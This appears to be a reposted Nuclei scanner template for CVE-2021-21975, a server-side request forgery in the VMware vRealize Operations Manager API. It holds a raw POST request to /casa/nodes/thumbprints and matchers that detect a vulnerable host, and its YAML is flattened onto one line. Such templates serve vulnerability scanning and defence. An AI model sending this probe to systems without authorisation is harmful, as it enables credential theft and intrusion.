CVE-2021-21975 SSRF

  • A+

id: CVE-2021-21975
info: name: vRealize Operations Manager API SSRF (VMWare Operations) author: luci severity: critical description: A malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack to steal administrative credentials or trigger Remote Code Execution using CVE-2021-21983. tags: cve,cve2021,ssrf,vmware reference:
requests: - raw: - | POST /casa/nodes/thumbprints HTTP/1.1 Host: {{Hostname}} Content-Type: application/json;charset=UTF-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) [""] matchers-condition: and matchers: - type: word words: - "vRealize Operations Manager" part: body - type: status status: - 200

本文始发于微信公众号(Khan安全攻防实验室):CVE-2021-21975 SSRF